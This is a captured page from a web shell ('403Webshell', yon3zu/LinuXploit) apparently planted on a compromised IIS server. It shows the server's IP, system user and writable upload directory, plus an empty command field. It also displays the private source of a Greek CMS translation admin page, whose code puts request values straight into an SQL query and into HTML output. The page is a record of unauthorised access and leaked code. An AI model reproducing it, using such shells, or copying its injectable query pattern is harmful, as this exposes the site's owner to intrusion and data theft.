403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Civil/control/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Civil/control/translations.php
<?

// ----------------- ΜΕΤΑΦΡΑΣΕΙΣ -----------------------			

defined('_ALLOW_ACCESS') or die;

$language_id = (int) $language_id;

if ($myrow = $translator->getLanguageById($language_id))
	$language_name = $myrow["name"];
else
{
	$myrow = $translator->getFirstNonDefaultLanguage();
	$language_id = $myrow["id"];
	$language_name = $myrow["name"];
}

if (isset($update_lang))
{					
	unset($_POST["update_lang"]);
	if ($system->countNonEmptyPostVars()>0)	// Αν έχουν σταλεί μη κενά πεδία τιμών
	{
		foreach ($_POST as $key=>$value)
		{
			if (!get_magic_quotes_gpc())
				$value = mysqli_real_escape_string($connector->link, $value);							
							
			$value = $csystem->rteSafe($value, true);

			if ($translator->translationExists($language_id, $reference_table, $reference_id, $key))
				$result = $translator->updateTranslation($language_id, $reference_table, $reference_id, $key, $value);
			else
				$result = $translator->insertTranslation($language_id, $reference_table, $reference_id, $key, $value);
		}
		
		if ($result==true)
			echo "<div class='notification success'><div>Η γλώσσα ενημερώθηκε επιτυχώς</div></div>";
		else
			echo "<div class='notification error'><div>Δυστυχώς απέτυχε η ενημέρωση της γλώσσας</div></div>";
	}
	else	// Αν όλα τα πεδία είναι κενά σβήσε τελείως τυχόν προηγούμενες εγγραφές του άρθρου στη συγκεκριμένη γλώσσα
	{
		$translator->deleteTranslation($language_id, $reference_table, $reference_id);
		echo "<div class='notification success'><div>Όλα τα πεδία ήταν κενά. Η γλώσσα διαγράφηκε τελείως.</div></div>";
	}
}
else if (isset($delete_lang))
{
	if ($translator->deleteTranslation($language_id, $reference_table, $reference_id))
		echo "<div class='notification success'><div>Τα δεδομένα γι' αυτή τη γλώσσα διαγράφηκαν επιτυχώς</div></div>";
	else
		echo "<div class='notification error'><div>Δυστυχώς απέτυχε η διαγραφή των δεδομένων γι' αυτή τη γλώσσα</div></div>";

}

if ($_SESSION["cms_control"]==1)
	$url_param = "?cur_category=$reference_id";
else
	$url_param = "";
?>

<div id="toolbar" class="translation">
	<h3>Μετάφραση</h3>
	<div class="submenu">
		<ul>
			<li><a href="javascript:;" onClick="document.translationform.submit();" title="Αποθήκευση μετάφρασης <?=$language_name?>"><img src="images/button_save.png" alt=""><br>Αποθήκευση <?=$language_name?></a></li>
			<li><a href="index.php?translate=1&delete_lang=1&reference_id=<?=$reference_id?>&language_id=<?=$language_id?>&reference_table=<?=$reference_table?>&mod_type=<?=$mod_type?>" title="Διαγραφή μετάφρασης <?=$language_name?>" onclick="return confirmMsg('Είστε σίγουροι ότι θέλετε να διαγράψετε τα δεδομένα γι' αυτή τη γλώσσα;')"><img src="images/button_delete.png" alt=""><br>Διαγραφή <?=$language_name?></a></li>
			<li><a href="index.php<?=$url_param?>" title="Επιστροφή"><img src="images/button_return.png" alt=""><br>Επιστροφή</a></li>
		</ul>
	</div>
</div>

<form method="post" name="translationform" id="translationform" action="index.php?translate=1&reference_id=<?=$reference_id?>&language_id=<?=$language_id?>&reference_table=<?=$reference_table?>&mod_type=<?=$mod_type?>">
	<input type="hidden" name="update_lang" value="1">
	<fieldset>
		<legend>Γλώσσα μετάφρασης: <?=$language_name?></legend>
			<?
			$language_array = $translator->getNonDefaultLanguages();
			foreach ($language_array as $lang_item)
			{
				if ($language_id==$lang_item["id"])
					$class = ' class = "active_lang"';
				else
					$class = '';
				echo '<div class="translation_flags"><a href="index.php?translate=1&reference_table='.$reference_table.'&reference_id='.$reference_id.'&language_id='.$lang_item["id"].'&mod_type='.$mod_type.'"'.$class.'><img src="../'.$lang_item["path"].'/flag.gif"><br>'.$lang_item["name"].'</a></div>';		
			}
			?>
		<div class="clear"></div>
	</fieldset>

	<?
	$result = $connector->query("SELECT * FROM $reference_table WHERE id=$reference_id");
	$original_fields = $connector->fetchArray($result);					
	
	$translated_fields = $translator->fetchTranslatedContent($language_id, $reference_id, $reference_table);

	if ($reference_table == "content")
		$param = $original_fields["article_type"];
	else if ($reference_table == "modules")
		$param = $original_fields["mod_type"];

	$fields_array = $csystem->getFieldsForTranslation($reference_table, $param); // Δημιουργείται πίνακας που περιέχει όλα τα πεδία (όνομα, περιγραφή πεδίου, τύπο πεδίου και μέγεθος πεδίου) του δεδομένου $reference_table που υπόκεινται σε μετάφραση

	foreach ($fields_array as $field)
	{
	?>
		<fieldset>
			<legend>Πεδίο: <?=$field["field_label"]?></legend>
			<div>
				<label>Πρωτότυπο:</label>
				<div class="original_content">
					<?
					if ($field["field_type"]=='text')
					{
						echo $original_fields[$field["field_name"]];
					}
					else if ($field["field_type"]=='textarea')
					{
						$output = nl2br($original_fields[$field["field_name"]]);
						$output = str_replace("<","&lt;", $output);
						$output = str_replace(">","&gt;", $output);

						echo $output;
					}
					else if ($field["field_type"]=='rte')
					{
						echo $csystem->rteSafe($original_fields[$field["field_name"]], false);
					}
					?>
				</div>
			</div>
			<div>
				<label for="<?=$field["field_name"]?>">Μετάφραση: <a href="#" class="copy_from_original <?=$field["field_type"]?>">(Αντιγραφή από πρωτότυπο)</a></label>
				<?
				if ($field["field_type"]=='text')
					echo '<input type="text" name="'.$field["field_name"].'" id="'.$field["field_name"].'" size="100" maxlength="'.$field["maxlength"].'" value="'.htmlspecialchars($translated_fields[$field["field_name"]], ENT_QUOTES).'">';
				else  if ($field["field_type"]=='textarea')
					echo '<textarea name="'.$field["field_name"].'" id="'.$field["field_name"].'" cols="130" rows="'.$field["rows"].'" title="'.$field["field_label"].'">'.$translated_fields[$field["field_name"]].'</textarea>';
				else  if ($field["field_type"]=='rte')
				{	
					echo '<textarea name="'.$field["field_name"].'" id="'.$field["field_name"].'">'.$csystem->rteSafe($translated_fields[$field["field_name"]], false).'</textarea>';
					echo '<script type="text/javascript">';
					echo 'var editor1 = CKEDITOR.replace("'.$field["field_name"].'", {toolbar : "MyToolBar", height: "'.$field["height"].'", filebrowserBrowseUrl : "file_manager.php?type=files", filebrowserImageBrowseUrl : "file_manager.php?type=images", filebrowserFlashBrowseUrl : "file_manager.php?type=flash", });';
					echo '</script>';
				}
				?>
			</div>
		</fieldset>						
	<?
	}	
	?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit